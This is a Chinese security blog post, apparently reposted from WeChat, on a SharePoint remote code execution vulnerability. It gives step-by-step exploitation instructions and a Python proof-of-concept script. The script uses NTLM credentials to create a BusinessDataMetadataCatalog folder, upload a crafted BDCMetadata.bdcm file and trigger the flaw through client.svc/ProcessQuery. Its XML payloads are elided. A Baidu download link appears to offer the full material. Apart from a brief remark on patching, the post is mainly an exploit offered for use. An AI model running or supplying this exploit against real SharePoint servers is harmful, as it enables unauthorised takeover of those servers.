漏洞概述:
这个漏洞允许攻击者在服务器上执行任意代码,是由于微软 SharePoint 在处理某些类型请求时存在缺陷。这些缺陷可能包括反序列化不可信数据、输入验证不当以及对用户提供的数据处理不安全。该漏洞在微软的七月更新中进行了修复。
原理:
SharePoint 服务器在处理恶意请求时,未能正确验证和过滤用户输入,导致攻击者可以构造特殊的请求并执行任意代码。
利用过程:
-
配置目标参数:
-
设置目标 URL 和必要的认证参数。
-
确保目标 SharePoint 服务器处于未修复的易受攻击状态。
-
-
发送恶意请求:
-
使用 NTLM 认证发送经过精心构造的恶意请求。
-
服务器在处理请求时执行嵌入在请求中的恶意代码。
-
-
验证和执行:
-
检查服务器响应以确认恶意代码是否成功执行。
-
利用成功后,可以进一步执行任意命令,获取对服务器的控制权。
-
POC
import requests from requests_ntlm2 import HttpNtlmAuth from urllib3.exceptions import InsecureRequestWarning import sys, time requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) session = requests.session() target1 = sys.argv[1] username = sys.argv[2] pwd = sys.argv[3] site = "/my/personal/" + username target = target1 + site print("Target: " + target1) auth = HttpNtlmAuth(username, pwd) PROXY = {} burp0_url = target1 + "/_api/web/" burp0_headers = { "Connection": "keep-alive", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36", "Cache-Control": "max-age=0", "X-RequestDigest": "", "Upgrade-Insecure-Requests": "1", "Accept": "application/json;odata=verbose", "Content-Type": "application/json;odata=verbose" } content = session.get(burp0_url, headers=burp0_headers, auth=auth, verify=False) if content.status_code == 401: print("User is not site owner or wrong creds!") burp0_url = target1 + "/my/" content = session.get(burp0_url, headers=burp0_headers, auth=auth, verify=False, proxies=PROXY) if content.status_code == 401: print("Wrong credentials!") exit() else: target = target1 site = "" time.sleep(5) burp0_url = target + "/_api/web/Folders" burp0_json = {"__metadata": {"type": "SP.Folder"}, "ServerRelativeUrl": site + "/BusinessDataMetadataCatalog"} content = session.post(burp0_url, headers=burp0_headers, json=burp0_json, auth=auth, verify=False, proxies=PROXY) if content.status_code == 401: print("Wrong credentials!") exit() digest = content.headers['X-RequestDigest'] # Create BusinessDataMetadataCatalog folder content = session.post(burp0_url, headers=burp0_headers, json=burp0_json, auth=auth, verify=False, proxies=PROXY) if content.status_code != 201: print("Error while creating folder, folder may be existed") # Create BDCMetadata file burp0_url = target + "/_api/web/GetFolderByServerRelativeUrl('" + site + "/BusinessDataMetadataCatalog/')/Files/add(url='" + site + "/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" burp0_data = """<?xml version="1.0" encoding="utf-8"?><Model xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" Name="BDCMetadata" xmlns="http://schemas.microsoft.com/windows/2007/BusinessDataCatalog">...</Model>""" req = session.post(burp0_url, headers=burp0_headers, data=burp0_data, auth=auth, verify=False, proxies=PROXY) print(req.status_code) # Trigger vuln burp0_url = target + "/_vti_bin/client.svc/ProcessQuery" burp0_data = """<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009"><Actions>...</Actions><ObjectPaths>...</ObjectPaths></Request>""" req = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=PROXY) print("Done!")
链接: https://pan.baidu.com/s/1y-atlNi38cM2xXG--dxPwQ?pwd=733f 提取码: 733f 复制这段内容后打开百度网盘手机App,操作更方便哦
关键步骤:
-
身份验证:
-
使用 NTLM 认证与目标服务器建立会话。
-
-
目录和文件创建:
-
创建一个新的目录
BusinessDataMetadataCatalog
。 -
在该目录下创建一个名为
BDCMetadata.bdcm
的文件,其中包含特制的 XML 数据。
-
-
漏洞利用:
-
发送构造好的请求,触发服务器处理该请求并执行其中的恶意代码。
-
结论
通过了解和利用上述过程中的关键点,可以有效地执行远程代码,从而控制 SharePoint 服务器。为了防御这种漏洞,必须及时应用微软发布的安全补丁,实施严格的网络安全措施,并定期审查和审计应用程序的安全性。
原文始发于微信公众号(安全视安):【最新在野0day?】微软 SharePoint 远程代码执行(RCE)漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论